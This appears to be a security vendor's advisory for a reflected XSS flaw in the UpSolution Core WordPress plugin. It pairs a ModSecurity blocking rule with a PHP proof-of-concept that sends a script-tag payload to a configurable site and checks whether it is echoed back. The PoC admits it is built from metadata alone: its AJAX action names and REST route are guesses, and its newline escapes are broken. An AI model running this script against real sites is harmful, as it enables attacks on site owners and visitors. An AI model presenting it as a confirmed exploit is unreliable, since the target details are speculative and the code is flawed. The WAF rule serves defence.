CVE-2026-24983: UpSolution Core <= 8.41 – Reflected Cross-Site Scripting (us-core)

# Atomic Edge WAF Rule - CVE-2026-24983 (metadata-based)
# This rule blocks reflected XSS exploitation attempts against UpSolution Core plugin
# by matching AJAX requests with us_core actions containing script tags in parameters.
# The rule is narrowly scoped to prevent false positives.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202624983,phase:2,deny,status:403,chain,msg:'CVE-2026-24983: Reflected XSS via UpSolution Core AJAX',severity:'CRITICAL',tag:'CVE-2026-24983',tag:'WordPress',tag:'Plugin',tag:'UpSolution-Core',tag:'XSS'"
  SecRule ARGS_GET:action "@rx ^us_(core|ajax)" "chain"
    SecRule ARGS_GET "@rx <script[^>]*>" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24983 - UpSolution Core <= 8.41 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-24983
 * This script demonstrates a reflected XSS attack against UpSolution Core plugin <= 8.41.
 * Since exact vulnerable endpoint is unknown from metadata, this PoC targets the most likely
 * attack vector: an AJAX handler with insufficient output escaping.
 * Assumptions:
 * 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
 * 2. Action parameter contains 'us_core' prefix
 * 3. A GET parameter echoes user input without escaping
 */

$target_url = "http://vulnerable-wordpress-site.com"; // CONFIGURE THIS

// Common AJAX actions for UpSolution Core plugin
$possible_actions = [
    'us_core_ajax',
    'us_ajax',
    'us_core_get',
    'us_get_data'
];

// XSS payload that triggers an alert with current domain
$payload = rawurlencode('<script>alert(document.domain)</script>');

// Test each possible action with a vulnerable parameter
foreach ($possible_actions as $action) {
    $test_url = $target_url . '/wp-admin/admin-ajax.php';
    $params = [
        'action' => $action,
        'param' => $payload,  // Generic parameter name
        'nonce' => '123456'   // May not be required for reflected XSS
    ];
    
    $query_string = http_build_query($params);
    $full_url = $test_url . '?' . $query_string;
    
    echo "Testing: $full_urln";
    
    // Send request
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $full_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Check if payload appears in response (unescaped)
    if (strpos($response, '<script>alert(document.domain)</script>') !== false) {
        echo "[+] VULNERABLE: Action '$action' echoes payload without escapingn";
        echo "[+] Exploit URL: $full_urln";
        break;
    } elseif ($http_code == 200) {
        echo "[-] Action '$action' responded but payload was escapedn";
    } else {
        echo "[-] Action '$action' returned HTTP $http_coden";
    }
}

// Alternative test for REST API endpoint
$rest_url = $target_url . '/wp-json/us-core/v1/data';
$rest_params = ['input' => $payload];
$rest_query = http_build_query($rest_params);
$rest_full_url = $rest_url . '?' . $rest_query;

echo "nTesting REST API: $rest_full_urln";

$ch = curl_init($rest_full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$rest_response = curl_exec($ch);
curl_close($ch);

if (strpos($rest_response, '<script>alert(document.domain)</script>') !== false) {
    echo "[+] VULNERABLE: REST API endpoint echoes payload without escapingn";
    echo "[+] Exploit URL: $rest_full_urln";
}
?>